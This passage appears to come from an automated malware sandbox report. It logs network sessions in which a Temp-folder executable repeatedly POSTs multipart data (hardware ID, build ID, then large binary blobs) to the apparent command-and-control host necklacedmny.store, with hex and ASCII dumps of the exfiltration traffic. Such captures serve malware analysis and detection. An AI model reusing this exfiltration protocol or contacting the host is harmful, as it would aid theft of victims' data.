53 37 75 4a 35 47 43 31 56 36 4a 79 6a 41 39 51 4d 6f 38 42 48 71 33 79 77 57 55 59 4a 66 4d 37 5a 44 42 31 72 4a 72 4c 76 39 53 4f 36 55 75 Data Ascii: 96TVpiJa3RxxSAeevK6XddxhIG5kP2PuyZp7Fx6pS+YmdBegcA/OULLNQ9/tIFB1GGJjbDa4cCob2noGyH3adnQ1EnAkXMdQNA+HjmvxVKUYIPM7ZDmy61iaewaJ+Mklp/SUY/NOD1Bwz0LdLSZQd9og4W53aKP4mF2oERi1CSZntRHwNZ9LQfFPE4h8IpH22SAj7bR6NOwamfoGS7uJ5GC1V6JyjA9QMo8BHq3ywWUYJfM7ZDB1rJrLv9SO6Uu
2024-10-31 22:38:15 UTC	1369	IN	Data Raw: 65 4f 32 7a 59 79 53 4d 30 35 42 33 32 34 69 45 76 51 59 34 69 4a 74 74 7a 70 78 71 46 70 61 75 6b 53 4b 2b 70 70 32 64 44 55 53 63 43 52 63 78 56 63 77 54 77 44 4f 61 2f 46 55 70 52 67 67 38 7a 74 6b 4f 37 50 70 32 5a 6b 35 68 67 6e 34 79 4f 53 6b 4e 68 53 6a 38 30 31 4d 45 6a 43 4f 77 64 34 74 6f 35 42 33 32 47 43 6a 37 50 57 6f 6f 2f 69 59 58 61 67 52 47 4c 46 4d 70 71 63 31 42 47 66 68 79 70 30 51 4d 35 77 56 6a 6d 37 68 30 2f 54 5a 34 4b 50 76 64 58 6d 79 36 64 6d 5a 76 49 55 49 75 49 37 68 5a 44 61 56 49 7a 4b 4d 7a 42 42 79 7a 59 4e 66 66 44 46 43 39 4e 2f 7a 39 54 31 2f 65 37 47 69 32 46 31 6f 41 4e 73 2f 47 6d 51 6e 4a 4d 4a 77 4d 67 34 50 6b 6a 50 4d 77 68 36 75 34 35 42 31 57 43 48 67 61 66 54 37 63 36 6d 5a 6d 48 6d 47 69 50 71 4c 35 43 5a 30 Data Ascii: eO2zYySM05B324iEvQY4iJttzpxqFpaukSK+pp2dDUScCRcxVcwTwDOa/FUpRgg8ztkO7Pp2Zk5hgn4yOSkNhSj801MEjCOwd4to5B32GCj7PWoo/iYXagRGLFMpqc1BGfhyp0QM5wVjm7h0/TZ4KPvdXmy6dmZvIUIuI7hZDaVIzKMzBByzYNffDFC9N/z9T1/e7Gi2F1oANs/GmQnJMJwMg4PkjPMwh6u45B1WCHgafT7c6mZmHmGiPqL5CZ0
2024-10-31 22:38:15 UTC	371	IN	Data Raw: 30 43 6e 6e 6c 4a 67 52 2b 6f 49 78 63 32 79 66 42 7a 4c 71 51 75 76 6a 69 62 32 6e 37 44 54 54 6f 4f 5a 44 51 37 42 2f 41 30 58 4e 73 42 2f 63 7a 41 48 65 33 6e 56 71 5a 51 4a 6d 47 73 73 44 6c 31 71 30 6d 49 4b 41 61 59 72 31 36 32 64 44 58 51 4d 43 52 59 32 59 63 6c 32 4e 5a 4b 65 4b 55 42 63 30 6e 6d 63 7a 74 67 71 79 42 73 43 59 32 6f 46 73 68 39 7a 75 52 6b 38 56 53 78 2f 63 4e 45 31 33 50 4e 68 6c 6f 6a 72 56 4d 7a 6d 71 4a 6d 36 53 63 39 38 4b 73 61 47 6e 32 58 47 79 6c 4a 74 66 49 36 68 48 49 69 51 78 36 42 39 70 77 56 6a 6d 46 69 45 58 61 59 4a 6d 64 2b 50 66 34 7a 4b 52 78 66 36 42 53 59 75 4e 70 7a 38 43 64 45 59 54 59 63 32 77 58 6b 47 74 62 4b 75 66 62 47 63 73 70 6c 73 79 6a 6b 4c 71 54 37 43 5a 38 6f 45 52 69 6f 69 71 46 67 74 56 53 6c 73 Data Ascii: 0CnnlJgR+oIxc2yfBzLqQuvjib2n7DTToOZDQ7B/A0XNsB/czAHe3nVqZQJmGssDl1q0mIKAaYr162dDXQMCRY2Ycl2NZKeKUBc0nmcztgqyBsCY2oFsh9zuRk8VSx/cNE13PNhlojrVMzmqJm6Sc98KsaGn2XGylJtfI6hHIiQx6B9pwVjmFiEXaYJmd+Pf4zKRxf6BSYuNpz8CdEYTYc2wXkGtbKufbGcsplsyjkLqT7CZ8oERioiqFgtVSls
2024-10-31 22:38:15 UTC	1369	IN	Data Raw: 32 36 65 34 0d 0a 70 78 38 77 39 79 2b 55 68 74 41 57 76 76 63 77 49 6b 72 4e 4f 77 39 48 6a 71 56 47 31 57 53 42 7a 6f 54 47 37 39 47 68 59 32 6e 65 49 69 7a 69 50 5a 43 65 31 56 48 41 68 33 4d 37 42 35 6f 4a 54 6a 48 77 74 41 57 55 66 38 2f 55 39 65 58 68 7a 36 78 68 65 50 46 52 41 66 4d 6b 6d 4a 76 53 45 63 36 4a 4e 58 51 66 6b 6e 35 4f 66 61 48 4c 45 34 51 31 31 4e 6e 6d 68 37 4b 54 76 53 68 33 6f 41 70 69 76 58 76 5a 30 4d 45 52 32 49 6c 30 4f 6b 72 44 4d 77 42 36 6f 70 6c 4e 31 33 47 4d 79 34 76 75 77 38 79 70 61 6d 50 76 46 78 7a 62 43 4a 71 62 33 31 79 50 77 67 30 4b 55 73 45 2b 41 48 36 6d 6d 67 75 61 4a 34 44 4d 37 65 6d 69 69 65 4a 5a 49 4b 41 45 59 72 31 70 6f 70 50 64 58 34 66 66 49 6e 6c 6d 7a 7a 73 43 64 4c 2b 41 43 35 6f 6e 69 63 7a 74 67 Data Ascii: 26e4px8w9y+UhtAWvvcwIkrNOw9HjqVG1WSBzoTG79GhY2neIiziPZCe1VHAh3M7B5oJTjHwtAWUf8/U9eXhz6xhePFRAfMkmJvSEc6JNXQfkn5OfaHLE4Q11Nnmh7KTvSh3oApivXvZ0MER2Il0OkrDMwB6oplN13GMy4vuw8ypamPvFxzbCJqb31yPwg0KUsE+AH6mmguaJ4DM7emiieJZIKAEYr1popPdX4ffInlmzzsCdL+AC5onicztg
2024-10-31 22:38:15 UTC	1369	IN	Data Raw: 59 53 2f 63 66 4d 75 4d 71 71 61 37 34 58 59 62 4f 4b 54 4e 42 35 42 42 4f 4e 2f 43 45 43 34 78 65 7a 38 54 31 37 36 79 42 75 69 59 32 6f 43 6b 68 36 79 65 51 68 73 49 63 70 64 34 77 4a 45 48 42 63 45 41 35 74 73 73 54 68 43 6e 50 69 4b 53 51 75 70 48 77 50 54 75 7a 53 33 4b 33 4e 74 6d 4a 6b 30 66 41 6b 57 46 36 42 39 42 77 56 6a 6e 33 69 46 6e 47 59 59 79 61 74 70 66 63 2f 34 52 6c 66 2b 6f 39 4c 2f 55 75 71 61 37 47 55 6f 37 48 4e 43 4a 57 67 6e 35 4f 64 76 44 54 63 70 51 76 77 34 71 32 78 71 4c 2b 37 43 5a 32 6f 45 52 69 30 43 71 5a 6e 74 52 48 6b 59 51 56 4e 31 62 49 45 51 4e 70 74 38 73 46 6c 47 48 50 31 4f 61 65 6f 73 57 7a 4a 6a 61 77 54 6e 6d 77 65 73 44 41 67 55 37 4f 30 48 4d 69 42 35 70 69 51 44 6d 69 79 78 4f 55 49 49 79 65 70 39 62 68 31 36 Data Ascii: YS/cfMuMqqa74XYbOKTNB5BBON/CEC4xez8T176yBuiY2oCkh6yeQhsIcpd4wJEHBcEA5tssThCnPiKSQupHwPTuzS3K3NtmJk0fAkWF6B9BwVjn3iFnGYYyatpfc/4Rlf+o9L/Uuqa7GUo7HNCJWgn5OdvDTcpQvw4q2xqL+7CZ2oERi0CqZntRHkYQVN1bIEQNpt8sFlGHP1OaeosWzJjawTnmwesDAgU7O0HMiB5piQDmiyxOUIIyep9bh16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49852	188.114.97.3	443	736	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:17 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 22:38:17 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:17 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 22:38:17 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ueam2ermkj59ujiu1tompiv9jp; expires=Mon, 24-Feb-2025 16:24:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zvzD2IzYV3um0pst2%2FxReJqlLdeetD2fz8DlrCcLZmHDFJ79mFcmFVd3H3b5vssBnCPfJxGqDZaoodl8bMPja0H0bLz%2BRwvsYmXS5XJdL9th125sbhF96%2FayHmPyaprQeA29n1k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db7226d1fbc3168-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1554&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19132&delivery_rate=1836398&cwnd=250&unsent_bytes=0&cid=3e34a744dc0805b5&ts=652&x=0"
2024-10-31 22:38:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49862	188.114.97.3	443	736	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:18 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 22:38:18 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:18 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4789140oelpnfct5vdig57cv6o; expires=Mon, 24-Feb-2025 16:24:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5gVDjB%2Fwv%2BVDDzeGjLHGWLto8YQA5WkH5JhyoL5wDmmv8EoXdaZO%2Baj399FA%2BgV2STzSD7nkm%2FpRihfeAmi%2BNSOGR%2F1pslikVwa4B0Xo1YJSGeEcXR0l26w1pWb0TRu56sUVsfY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722765cbecb75-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1272&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9730&delivery_rate=2166043&cwnd=183&unsent_bytes=0&cid=0734e5b26601e05d&ts=358&x=0"
2024-10-31 22:38:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49877	188.114.97.3	443	736	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:20 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 22:38:20 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:20 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 22:38:21 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2fs9d55gu2jlm27kb380uutvpq; expires=Mon, 24-Feb-2025 16:25:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xR57DOZ7oP5eAhNDMjVvJc3zQe%2BrdqOr%2BEZqQdWbBs3KkKmTNiRAQVOmVOfSN3%2FhN5Aa39X4b8bYZseSwENnz7WQZMtQc1BM%2FsIYukDIUAlyfurqVPVjHuJhhlUxFIRNP%2FnvIyQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722826e5de823-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1090&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2511708&cwnd=237&unsent_bytes=0&cid=4ea54b45baa7b34f&ts=916&x=0"
2024-10-31 22:38:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49896	188.114.97.3	443	736	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:24 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1273 Host: necklacedmny.store
2024-10-31 22:38:24 UTC	1273	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:24 UTC	1026	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9s9bhm7dl0qqf2rg9jdk9rno6r; expires=Mon, 24-Feb-2025 16:25:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zj%2FfOL%2B%2FLB9Aw73QBXfUhdOWe7x0%2BgaoZGnHmgiQEMJwaKx%2BI%2FFgCqBrA5BNtjrHLqE%2B5ULTChFzQiEoqshXUUiTMHBH1ktn%2BXH3UxH1%2BZmrkfTB1KlhXRd1ZYmedg9I42pvXiA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db72298fc9f3467-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1323&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2192&delivery_rate=2243222&cwnd=249&unsent_bytes=0&cid=c8f7f178ffb6ebcd&ts=732&x=0"
2024-10-31 22:38:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49911	188.114.97.3	443	736	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:26 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 579908 Host: necklacedmny.store
2024-10-31 22:38:26 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:26 UTC	15331	OUT	Data Raw: 22 3f 38 5f 37 62 fd 73 47 b3 4f d5 60 e0 db 76 71 25 eb 7a 8c a4 5e 3d 46 c5 cf 8a b2 b8 fc b9 0f ea 94 d9 b1 08 ec 5d 55 d1 82 42 94 e8 8c 1a fa 16 26 00 0e 87 7d 9e 06 a8 dc 45 69 97 bd f9 2d 89 c6 b9 ef 6e d3 d6 76 0c c8 c7 fb 57 a0 19 75 f3 7f 05 46 44 38 63 fa a6 38 26 69 3c 0b 4d 42 86 05 51 e6 2e 10 97 9f d6 19 ab 72 18 d3 1f 7e 31 67 6c b0 20 01 be 45 0a 27 4c 88 81 4b d2 19 e6 61 d0 dc 52 89 4f bd 9d 8c bf c2 92 5d e4 f1 b0 c4 2a e9 09 5b 01 ef 9a 1d 39 e8 f8 28 71 62 2b 19 65 1c d7 e1 14 13 9d ba 91 65 11 c8 16 dd 75 e0 e4 f9 23 2e 35 7c fb a8 79 1a 4f f8 9a 74 d2 3d 05 6d 55 98 be f8 5b 92 40 31 6c be d9 11 82 db 8f fb 3b 07 64 0d 17 3c f7 9e b4 f8 e5 3f 56 7b 06 03 54 7e d7 64 b0 8b 30 8b 56 f6 41 e9 5b 63 e5 93 52 00 81 ce 43 c9 8c 3b 87 92 Data Ascii: "?8_7bsGO`vq%z^=F]UB&}Ei-nvWuFD8c8&i<MBQ.r~1gl E'LKaRO]*[9(qb+eeu#.5\|yOt=mU[@1l;d<?V{T~d0VA[cRC;
2024-10-31 22:38:26 UTC	15331	OUT	Data Raw: 01 05 1b 83 81 a7 d7 0a 85 29 81 9c 6b f7 08 8c dd 27 bb da 54 8d d0 ed 77 64 7c 70 1c 16 c7 15 22 b4 4a 82 8b 3d 65 99 d6 98 5a 37 2a 6c 1a 27 6c 5a 99 d7 4a ae 35 56 c3 8c 1a 1c d7 8b 33 fe b7 67 99 d6 1c 6e 13 3e fb da 26 37 57 1c a2 ee 20 c4 4b 46 4d 6e 47 dd 78 3c 15 b1 fc 64 a4 e4 c9 8d aa fe a1 5b 03 b4 b2 29 36 b9 5d 4a d0 4b 12 9c ed 1d 5c 97 3b 32 75 96 a7 11 0f 9f 7e e8 ce f2 96 00 cc 2d c5 ca fe 12 de a1 75 76 ed 35 88 a0 cb a8 e9 7d 64 de 29 c8 2c 6c 35 29 87 b2 5f d1 1f f9 30 1f 19 58 fb af 68 31 04 80 8c 27 6e dc 8b 59 20 00 62 d9 48 25 2d e4 c9 81 7c 91 f9 79 88 a9 25 00 9a 7f 67 2f 48 e5 1c f9 fd 2e 76 01 55 34 1d e9 44 c5 f2 